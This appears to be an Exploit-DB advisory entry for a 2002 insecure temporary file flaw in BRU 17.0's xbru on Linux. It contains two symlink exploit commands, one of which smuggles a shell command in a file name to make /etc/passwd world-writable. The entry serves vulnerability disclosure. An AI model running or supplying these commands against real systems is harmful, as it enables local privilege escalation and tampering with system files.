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BRU 17.0 - XBRU Insecure Temporary File

🗓️ 13 Sep 2002 00:00:00Reported by prophecyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

BRU 17.0 on Linux allows overwriting root files via insecure temporary file handling.

Code
source: https://www.securityfocus.com/bid/5708/info

BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files. 

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd 

Data

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